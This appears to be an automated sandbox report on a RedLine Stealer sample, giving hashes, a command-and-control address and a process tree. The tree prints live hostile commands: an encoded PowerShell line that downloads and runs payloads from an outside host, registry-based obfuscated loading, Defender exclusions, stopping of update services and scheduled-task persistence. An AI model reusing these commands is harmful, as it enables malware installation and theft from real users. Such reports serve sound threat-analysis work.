Analysis
-
max time kernel
150s -
max time network
53s -
platform
windows7_x64 -
resource
win7-20220901-en -
resource tags
arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system -
submitted
03-01-2023 00:47
Static task
static1
Behavioral task
behavioral1
Sample
b3e4aa7167322e62d0ab56f0ba11c3adfef87eb1.exe
Resource
win7-20220901-en
Behavioral task
behavioral2
Sample
b3e4aa7167322e62d0ab56f0ba11c3adfef87eb1.exe
Resource
win10v2004-20221111-en
General
-
Target
b3e4aa7167322e62d0ab56f0ba11c3adfef87eb1.exe
-
Size
119KB
-
MD5
d9a2313ebd1f9d41687e127028bc230e
-
SHA1
b3e4aa7167322e62d0ab56f0ba11c3adfef87eb1
-
SHA256
a5d8eac92699a2e8870775b0eb150bb3fdedf4e86f6b0a26a122ad5f7e9fd3c2
-
SHA512
4ee00a77199e82d63967f9731a5dd101f2dcec52584337dff306c2d5b71dfa4d83ac473617da0b022d301f8878b5cd835b18a35603fbe9dd7682064dc30264be
-
SSDEEP
3072:EcJw0ADKnZ1bEGSzLu1XlEWb3MeUn3PAngc13Aa99sXcc:/W3IZ1bgQlExeUcN99sXcc
Malware Config
Extracted
redline
1
107.182.129.73:21733
-
auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
-
Modifies security service 2 TTPs 2 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 4 IoCs
resource yara_rule behavioral1/memory/2032-99-0x00000000000C0000-0x00000000000E0000-memory.dmp family_redline behavioral1/memory/2032-104-0x00000000000DADAE-mapping.dmp family_redline behavioral1/memory/2032-106-0x00000000000C0000-0x00000000000E0000-memory.dmp family_redline behavioral1/memory/2032-105-0x00000000000C0000-0x00000000000E0000-memory.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 1492 created 1400 1492 SmartDefRun.exe 16 PID 1492 created 1400 1492 SmartDefRun.exe 16 PID 1492 created 1400 1492 SmartDefRun.exe 16 PID 1492 created 1400 1492 SmartDefRun.exe 16 PID 1920 created 416 1920 powershell.EXE 3 -
Blocklisted process makes network request 1 IoCs
flow pid Process 4 296 powershell.exe -
Downloads MZ/PE file
-
Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Executes dropped EXE 5 IoCs
pid Process 1820 C4Loader.exe 2040 new2.exe 452 SysApp.exe 1492 SmartDefRun.exe 584 fodhelper.exe -
Stops running service(s) 3 TTPs
-
Loads dropped DLL 10 IoCs
pid Process 296 powershell.exe 296 powershell.exe 296 powershell.exe 296 powershell.exe 296 powershell.exe 296 powershell.exe 296 powershell.exe 1260 WerFault.exe 1260 WerFault.exe 1260 WerFault.exe -
Uses the VBS compiler for execution 1 TTPs
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Drops file in System32 directory 6 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File created C:\Windows\System32\Tasks\Telemetry Logging svchost.exe File opened for modification C:\Windows\System32\Tasks\Telemetry Logging svchost.exe -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 2024 set thread context of 944 2024 b3e4aa7167322e62d0ab56f0ba11c3adfef87eb1.exe 28 PID 2040 set thread context of 2032 2040 new2.exe 35 PID 1492 set thread context of 632 1492 SmartDefRun.exe 54 PID 1920 set thread context of 776 1920 powershell.EXE 61 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\appcompat\programs\RecentFileCache.bcf svchost.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1936 sc.exe 1380 sc.exe 1608 sc.exe 1060 sc.exe 816 sc.exe -
Program crash 1 IoCs
pid pid_target Process procid_target 1260 2040 WerFault.exe 32 -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1724 schtasks.exe 1444 schtasks.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 103fb5030d1fd901 powershell.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 296 powershell.exe 296 powershell.exe 296 powershell.exe 296 powershell.exe 296 powershell.exe 296 powershell.exe 296 powershell.exe 296 powershell.exe 452 SysApp.exe 452 SysApp.exe 452 SysApp.exe 452 SysApp.exe 452 SysApp.exe 1492 SmartDefRun.exe 1492 SmartDefRun.exe 324 powershell.exe 1492 SmartDefRun.exe 1492 SmartDefRun.exe 1492 SmartDefRun.exe 1492 SmartDefRun.exe 888 powershell.exe 1492 SmartDefRun.exe 1492 SmartDefRun.exe 1920 powershell.EXE 1172 powershell.EXE 2032 vbc.exe 1920 powershell.EXE 776 dllhost.exe 776 dllhost.exe 776 dllhost.exe 776 dllhost.exe 776 dllhost.exe 776 dllhost.exe 776 dllhost.exe 776 dllhost.exe 776 dllhost.exe 776 dllhost.exe 776 dllhost.exe 776 dllhost.exe 776 dllhost.exe 776 dllhost.exe 776 dllhost.exe 776 dllhost.exe 776 dllhost.exe 776 dllhost.exe 776 dllhost.exe 776 dllhost.exe 776 dllhost.exe 776 dllhost.exe 776 dllhost.exe 776 dllhost.exe 776 dllhost.exe 776 dllhost.exe 776 dllhost.exe 776 dllhost.exe 776 dllhost.exe 776 dllhost.exe 776 dllhost.exe 776 dllhost.exe 776 dllhost.exe 776 dllhost.exe 776 dllhost.exe 776 dllhost.exe 776 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 296 powershell.exe Token: SeDebugPrivilege 324 powershell.exe Token: SeDebugPrivilege 888 powershell.exe Token: SeDebugPrivilege 1920 powershell.EXE Token: SeDebugPrivilege 1172 powershell.EXE Token: SeDebugPrivilege 2032 vbc.exe Token: SeDebugPrivilege 1920 powershell.EXE Token: SeDebugPrivilege 776 dllhost.exe Token: SeShutdownPrivilege 1400 Explorer.EXE Token: SeShutdownPrivilege 1400 Explorer.EXE Token: SeShutdownPrivilege 1400 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2024 wrote to memory of 944 2024 b3e4aa7167322e62d0ab56f0ba11c3adfef87eb1.exe 28 PID 2024 wrote to memory of 944 2024 b3e4aa7167322e62d0ab56f0ba11c3adfef87eb1.exe 28 PID 2024 wrote to memory of 944 2024 b3e4aa7167322e62d0ab56f0ba11c3adfef87eb1.exe 28 PID 2024 wrote to memory of 944 2024 b3e4aa7167322e62d0ab56f0ba11c3adfef87eb1.exe 28 PID 2024 wrote to memory of 944 2024 b3e4aa7167322e62d0ab56f0ba11c3adfef87eb1.exe 28 PID 2024 wrote to memory of 944 2024 b3e4aa7167322e62d0ab56f0ba11c3adfef87eb1.exe 28 PID 944 wrote to memory of 296 944 vbc.exe 29 PID 944 wrote to memory of 296 944 vbc.exe 29 PID 944 wrote to memory of 296 944 vbc.exe 29 PID 944 wrote to memory of 296 944 vbc.exe 29 PID 296 wrote to memory of 1820 296 powershell.exe 31 PID 296 wrote to memory of 1820 296 powershell.exe 31 PID 296 wrote to memory of 1820 296 powershell.exe 31 PID 296 wrote to memory of 1820 296 powershell.exe 31 PID 296 wrote to memory of 2040 296 powershell.exe 32 PID 296 wrote to memory of 2040 296 powershell.exe 32 PID 296 wrote to memory of 2040 296 powershell.exe 32 PID 296 wrote to memory of 2040 296 powershell.exe 32 PID 296 wrote to memory of 452 296 powershell.exe 33 PID 296 wrote to memory of 452 296 powershell.exe 33 PID 296 wrote to memory of 452 296 powershell.exe 33 PID 296 wrote to memory of 452 296 powershell.exe 33 PID 296 wrote to memory of 1492 296 powershell.exe 34 PID 296 wrote to memory of 1492 296 powershell.exe 34 PID 296 wrote to memory of 1492 296 powershell.exe 34 PID 296 wrote to memory of 1492 296 powershell.exe 34 PID 2040 wrote to memory of 2032 2040 new2.exe 35 PID 2040 wrote to memory of 2032 2040 new2.exe 35 PID 2040 wrote to memory of 2032 2040 new2.exe 35 PID 2040 wrote to memory of 2032 2040 new2.exe 35 PID 2040 wrote to memory of 2032 2040 new2.exe 35 PID 2040 wrote to memory of 2032 2040 new2.exe 35 PID 2040 wrote to memory of 1260 2040 new2.exe 36 PID 2040 wrote to memory of 1260 2040 new2.exe 36 PID 2040 wrote to memory of 1260 2040 new2.exe 36 PID 2040 wrote to memory of 1260 2040 new2.exe 36 PID 900 wrote to memory of 1936 900 cmd.exe 43 PID 900 wrote to memory of 1936 900 cmd.exe 43 PID 900 wrote to memory of 1936 900 cmd.exe 43 PID 900 wrote to memory of 1380 900 cmd.exe 44 PID 900 wrote to memory of 1380 900 cmd.exe 44 PID 900 wrote to memory of 1380 900 cmd.exe 44 PID 900 wrote to memory of 1608 900 cmd.exe 45 PID 900 wrote to memory of 1608 900 cmd.exe 45 PID 900 wrote to memory of 1608 900 cmd.exe 45 PID 900 wrote to memory of 1060 900 cmd.exe 46 PID 900 wrote to memory of 1060 900 cmd.exe 46 PID 900 wrote to memory of 1060 900 cmd.exe 46 PID 900 wrote to memory of 816 900 cmd.exe 47 PID 900 wrote to memory of 816 900 cmd.exe 47 PID 900 wrote to memory of 816 900 cmd.exe 47 PID 900 wrote to memory of 1740 900 cmd.exe 48 PID 900 wrote to memory of 1740 900 cmd.exe 48 PID 900 wrote to memory of 1740 900 cmd.exe 48 PID 900 wrote to memory of 1728 900 cmd.exe 49 PID 900 wrote to memory of 1728 900 cmd.exe 49 PID 900 wrote to memory of 1728 900 cmd.exe 49 PID 900 wrote to memory of 2020 900 cmd.exe 50 PID 900 wrote to memory of 2020 900 cmd.exe 50 PID 900 wrote to memory of 2020 900 cmd.exe 50 PID 888 wrote to memory of 1724 888 powershell.exe 51 PID 888 wrote to memory of 1724 888 powershell.exe 51 PID 888 wrote to memory of 1724 888 powershell.exe 51 PID 900 wrote to memory of 856 900 cmd.exe 52
Processes
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:476
-
C:\Windows\system32\services.exeC:\Windows\system32\services.exe1⤵PID:460
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs2⤵
- Drops file in System32 directory
- Drops file in Windows directory
PID:868 -
\\?\C:\Windows\system32\wbem\WMIADAP.EXEwmiadap.exe /F /T /R3⤵PID:1604
-
-
C:\Windows\system32\taskeng.exetaskeng.exe {E4EC8DB0-3690-41D3-A91A-6522FD2DD5ED} S-1-5-18:NT AUTHORITY\System:Service:3⤵PID:1944
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+''+[Char](70)+''+'T'+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+''+'i'+''+'a'+''+[Char](108)+'e'+[Char](114)+'s'+[Char](116)+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)4⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1172
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+'F'+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+'E').GetValue(''+'d'+''+[Char](105)+''+[Char](97)+''+'l'+'e'+[Char](114)+''+[Char](115)+''+[Char](116)+'a'+'g'+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1920
-
-
-
C:\Windows\system32\taskeng.exetaskeng.exe {69DE31CB-31FB-4A6F-8E32-53E45F329582} S-1-5-21-4063495947-34355257-727531523-1000:RYNKSFQE\Admin:Interactive:[1]3⤵PID:2020
-
C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exeC:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe4⤵
- Executes dropped EXE
PID:584
-
-
-
-
C:\Windows\system32\taskhost.exe"taskhost.exe"2⤵PID:1264
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation2⤵PID:1676
-
-
C:\Windows\system32\sppsvc.exeC:\Windows\system32\sppsvc.exe2⤵PID:1752
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork2⤵PID:1028
-
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe2⤵PID:284
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService2⤵PID:300
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService2⤵PID:844
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted2⤵PID:800
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted2⤵PID:756
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS2⤵PID:672
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch2⤵PID:592
-
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:416
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{f8701628-ff97-458b-9ac9-941f1b19e7fc}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:776
-
-
C:\Windows\system32\lsm.exeC:\Windows\system32\lsm.exe1⤵PID:484
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1400 -
C:\Users\Admin\AppData\Local\Temp\b3e4aa7167322e62d0ab56f0ba11c3adfef87eb1.exe"C:\Users\Admin\AppData\Local\Temp\b3e4aa7167322e62d0ab56f0ba11c3adfef87eb1.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2024 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:944 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:296 -
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:1820
-
-
C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2040 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2032
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2040 -s 1166⤵
- Loads dropped DLL
- Program crash
PID:1260
-
-
-
C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:452 -
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"6⤵
- Creates scheduled task(s)
PID:1444
-
-
-
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1492
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:324
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:900 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:1936
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:1380
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:1608
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:1060
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:816
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:1740
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:1728
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:2020
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:856
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:1416
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:888 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn WindowsDefenderSmartScreenQC /tr "'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe'"3⤵
- Creates scheduled task(s)
PID:1724
-
-
-
C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:632
-
-
C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"1⤵PID:1340
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-269501590-2293901381080929240514533331-17789064831580629501889407481-1462806068"1⤵PID:1084
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
-
Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
-
Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
